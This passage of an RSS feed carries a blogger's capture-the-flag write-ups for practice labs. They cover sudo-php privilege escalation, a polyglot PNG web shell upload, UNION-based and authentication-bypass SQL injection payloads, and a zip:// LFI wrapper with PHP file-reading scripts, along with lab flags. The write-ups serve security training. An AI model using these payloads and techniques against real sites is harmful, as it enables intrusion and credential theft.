src="https://cdn-images-1.medium.com/max/601/1*p57RfyIiQowmvU18sd65vg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*piddZsGoigM4nmZAx86hZg.png" /></figure><p>Boom! We got a shell.<br> Let’s look for user.txt as mentioned.</p><p>Here’s the flag:</p><pre>7002d65b149b0a4d19132a66feed21d8</pre><h3>Post-Exploitation</h3><p>Now that we have a shell on the server, we need to escalate our privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MS9S1qAjXoWe56jT1EaEAg.png" /></figure><p>Let’s use the sudo -l technique:</p><p>I found that we can run php as root without a password.</p><p>So I checked <a href="https://gtfobins.github.io/gtfobins/php/#sudo">GTFOBins</a> and found the exact command we need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*0oOMRL8ejo03tezHu6yJjQ.png" /></figure><p>Copy the code and execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*4flXEfop7ux6Wy5sx6woVw.png" /></figure><p>Boom! We’re root now, and it’s easy to grab the second flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*q71fk_cT5bRGajpb85WlYw.png" /></figure><p>Here’s the flag:</p><pre>f1fba6e9f71efb2630e6e34da6387842</pre><p>✅ And with that, we successfully captured both flags and completed the lab! 🚩🚩</p><h3>✅ Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/">LinkedIn — Muhammed Tantawy</a></li><li><a href="https://github.com/tantawix">GitHub — tantawix</a></li></ul><p>Thanks for reading 🙌<br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0d14287a537b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Remote code execution via polyglot web shell upload]]></title>
            <link>https://medium.com/@mtantawy862/remote-code-execution-via-polyglot-web-shell-upload-5818ac9f2697?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/5818ac9f2697</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 12:08:56 GMT</pubDate>
            <atom:updated>2025-08-05T12:08:56.743Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, Hackers<br>Today we will solve an exciting lab on PortSwigger: [Remote code execution via polyglot web shell upload]<br>Let’s dive into our lab!</p><h3>💡 Lab Idea</h3><p>Note: Before solving the lab, here’s a tip — make sure to research what a polyglot is, what it does, and how to execute it properly.</p><ul><li>The idea of the lab is that the server only accepts PNG images, and there’s no way to bypass the file upload protection.</li><li>So let’s see what we can do!</li></ul><h3>🧪 Lab Walkthrough</h3><ul><li>First, we try uploading a PHP file to see what happens:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*jLZjB-niJXQ1udYKNYQPTA.png" /></figure><ul><li>As expected, the server rejects it and shows an error saying that the file type is not allowed</li></ul><p><strong>💭 So, what’s the solution?</strong></p><p>We’re going to use a polyglot, and on Kali Linux, we’ll grab an image and inject our PHP code into it to trick the server.</p><ul><li>I went ahead and picked a random image.<br><em>(Make sure the image is in </em><em>.png format, since the server only allows PNGs)</em></li><li>Using ExifTool, we inject our PHP payload into the image and generate a new file that we can call later for execution.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zKtNbMZuOgrt8oZzJ2BsuA.png" /></figure><p>Great! This is the file that contains our PHP code embedded inside the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ohdPF9MoaO5oroSP1FEYGA.png" /></figure><ul><li>Next, we go to the lab and try uploading the image.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZU-9AyV5LSxvOL_iXm3og.png" /></figure><p>Here’s the request from Burp Suite:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*hqgwwmQjcM3zHieZkjdN9Q.png" /></figure><ul><li>Now the image (img.png) is uploaded successfully along with the webshell file: webshell.php</li><li>So we navigate to the file by changing the URL and the method using Burp.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*lqwQYig9FBoKRrV6Pp0lNA.png" /></figure><ul><li>Perfect! We’ve got the password. It starts with START and ends with END.<br>We added these tags at the beginning to clearly distinguish the result from the rest of the image data, so we don’t get confused or waste time searching.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*zYwXPSEsjr1WhLBgHYmvvw.png" /></figure><h3>✅ Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/">LinkedIn — Muhammed Tantawy</a></li><li><a href="https://github.com/tantawix">GitHub — tantawix</a></li></ul><p>Thanks for reading 🙌<br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5818ac9f2697" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection — String]]></title>
            <link>https://medium.com/@mtantawy862/sql-injection-string-0f5fd1942e6b?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f5fd1942e6b</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Sun, 03 Aug 2025 19:06:47 GMT</pubDate>
            <atom:updated>2025-08-03T19:06:47.328Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQL Injection — String</h3><p><strong>Hi, Hackers</strong></p><p>Today we’re solving a Root-Me lab titled SQL injection — String — let’s dive in and see what we’re doing.</p><ul><li>In this lab, we’re asked to retrieve the admin password, so let’s see how we’ll approach it.</li></ul><h3>Lab Walkthrough</h3><ul><li>First, I opened the website and it looked like a regular site.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDE_o2bjfoxCMFYByzBJWA.png" /></figure><ul><li>I started checking all the parameters in the site. I tried the login page but got nothing.</li><li>Then I went to the search tab, which uses the parameter action=recherche.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1peXwghMCCSnNYjjVb5SKA.png" /></figure><p>I tried searching for a simple word like test, and it returned:</p><p>_0 result(s) for &quot;test&quot;_ — which is expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMQvoyyNizQlC9j0ycRw-Q.png" /></figure><ul><li>But then I tested a basic payload like --&#39;, and guess what?</li></ul><p>It returned all the results! That likely means this is a vulnerable input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8X5Upu3Sb4EzqHZRPtXVnw.png" /></figure><ul><li>I also tried &#39; OR 1=1--, and it gave the same results again.</li></ul><h3>Exploitation</h3><ul><li>Now let’s start exploiting this input using UNION-based SQL injection.</li><li>First, I used a payload to check the number of columns:</li></ul><pre>recherche=&#39; UNION SELECT NULL--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BJI36zMYQrBJ07KdIM8Eiw.png" /></figure><ul><li>It gave an error, so that means there’s more than one column.</li><li>Next I tried:</li></ul><pre>recherche=&#39; UNION SELECT NULL,NULL--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N5g0nHRWW6j-_vANzHxkfA.png" /></figure><ul><li>Boom! It worked and returned all the results, meaning there are 2 columns.</li><li>Then I tried this payload, just guessing — and it worked on the first try:</li></ul><pre>recherche=&#39; UNION SELECT username,password FROM users--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xifesXvphqIYOLmtTxYN5g.png" /></figure><p>Boom! I got the admin credentials:</p><p>admin (c4K04dtIaJsuWdi)</p><h3>Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/">LinkedIn — Muhammed Tantawy</a></li><li><a href="https://github.com/tantawix">GitHub — tantawix</a></li></ul><p>Thanks for reading 🙌<br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f5fd1942e6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection — Authentication]]></title>
            <link>https://medium.com/@mtantawy862/sql-injection-authentication-873cf4dce10e?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/873cf4dce10e</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Sun, 03 Aug 2025 19:06:20 GMT</pubDate>
            <atom:updated>2025-08-03T19:06:20.233Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQL Injection — Authentication</h3><p>Hi, Hackers</p><p>Today we’re solving a Root-Me lab titled SQL injection — Authentication — let’s dive in and see what we’re doing.</p><ul><li>In this lab, we’re asked to retrieve the admin password, so let’s see how we’ll approach it.</li></ul><h3>Lab Walkthrough</h3><ul><li>First thing I did was open the website — a very simple and basic one.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bt8XsW6F4pUvqUJG6vjTyw.png" /></figure><ul><li>Initially, I tried logging in with random credentials and intercepted the POST request using BurpSuite.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AVJYbs1arpE8jURqK4YpLw.png" /></figure><p>This is just a normal login page, and we’ll try to perform an authentication bypass through the username input field.</p><ul><li>So I entered this payload: admin&#39;-- and boom! It instantly revealed the admin username and password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hlknXBzUxfEGm1_qJkbQhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*rLpcWrwemtYsqsgsRCMyTQ.png" /></figure><p>the flag is `t0_W34k!$`</p><h3>Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/">LinkedIn — Muhammed Tantawy</a></li><li><a href="https://github.com/tantawix">GitHub — tantawix</a></li></ul><p>Thanks for reading 🙌 <br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=873cf4dce10e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Local File Inclusion — Wrappers]]></title>
            <link>https://medium.com/@mtantawy862/local-file-inclusion-wrappers-24098d38732b?source=rss-89a671078c84------2</link>
            <guid isPermaLink="false">https://medium.com/p/24098d38732b</guid>
            <dc:creator><![CDATA[0xTantawy]]></dc:creator>
            <pubDate>Fri, 01 Aug 2025 16:49:01 GMT</pubDate>
            <atom:updated>2025-08-01T16:52:26.653Z</atom:updated>
            <content:encoded><![CDATA[<h3>Local File Inclusion — Wrappers</h3><p>Today we’re solving a <strong>Root-Me </strong>lab titled LFI Wrappers — let’s dive in and see what we’re doing.</p><h4>Lab Walkthrough</h4><p>Website Functionality</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*8g-2TRzCUK_36q0_qmcC-w.png" /></figure><ul><li>The site allows us to upload an image — sounds good, let’s see what we can do. Think with me.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/124/1*hmmC0SqmNKYBwyzcj_BLHA.png" /></figure><p>Exploit Image Uploading</p><ul><li>I wrote a script that scans the current directory and displays the files inside it:</li></ul><pre>&lt;?php  <br>$scan = scandir(&#39;.&#39;);  <br>foreach($scan as $file) {  <br>echo $file . &quot;&lt;br&gt;&quot;;  <br>}  <br>?&gt;</pre><p>That’s the script — but keep in mind the website only lets us upload image files, which is a problem.<br>No worries — we’ll inject it into a file with a .jpg extension. That’s doable in Linux.</p><ul><li>I wrote the script in a .php file, then zipped it:</li></ul><p>zip code.zip code.php</p><p>Now we have a ZIP file. I renamed it to .jpg:</p><p>mv code.zip code.jpg</p><ul><li>After that, I went to the site and uploaded the file.</li><li>To open this file, we need to know where it’s stored on the server.<br>You can find that out after uploading by checking the page source code:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*GaWqvJ8nB-ohv0k3u-GsRg.png" /></figure><ul><li>That’s the path where the image is stored. Notice how the name has also changed.<br>Now, we go to the page parameter and execute the code like this:<br>?page=zip://tmp/upload/nSzun5kIv.jpg%23code<br>the code should now execute. But I ran into a weird error:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*MxJoZnAKgV8y6pLlBCLWPw.png" /></figure><ul><li>It says the filename is too long — the backend developer probably did this on purpose.</li><li>To fix this, I changed the file name to x.php and repeated all the previous steps again.<br>Then accessed it via:<br>?page=zip://tmp/upload/nSzun5kIv.jpg%23x<br>Note: I didn’t put .php at the end of the path because the server automatically appends .php</li><li>And boom 💥 — the file list was displayed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*haU-XZvwOILIIcCffCpuNg.png" /></figure><p>There was a weird file named flag-mipkBswUppqwqlqq9ydO.php.<br>I quickly changed my script to execute that file instead:</p><pre>&lt;?php  <br>$flag=file_get_contents(&#39;flag-mipkBswUppqwXlq9ZydO.php&#39;);  <br>echo $flag;  <br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*GmDFCQ30Khva3DNtqjONdg.png" /></figure><p>I repeated the steps again, opened the page source code — and I got the flag!<br>$flag=&quot;lf1-Wr4pp3r_Ph4R_pwn3d&quot;;</p><h3>Feel free to connect with me:</h3><ul><li><a href="https://www.linkedin.com/in/muhammed-tantawy-484441218/">LinkedIn — Muhammed Tantawy</a></li><li><a href="https://github.com/tantawix">GitHub — tantawix</a></li></ul><p>Thanks for reading 🙌<br>More write-ups coming soon — stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24098d38732b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>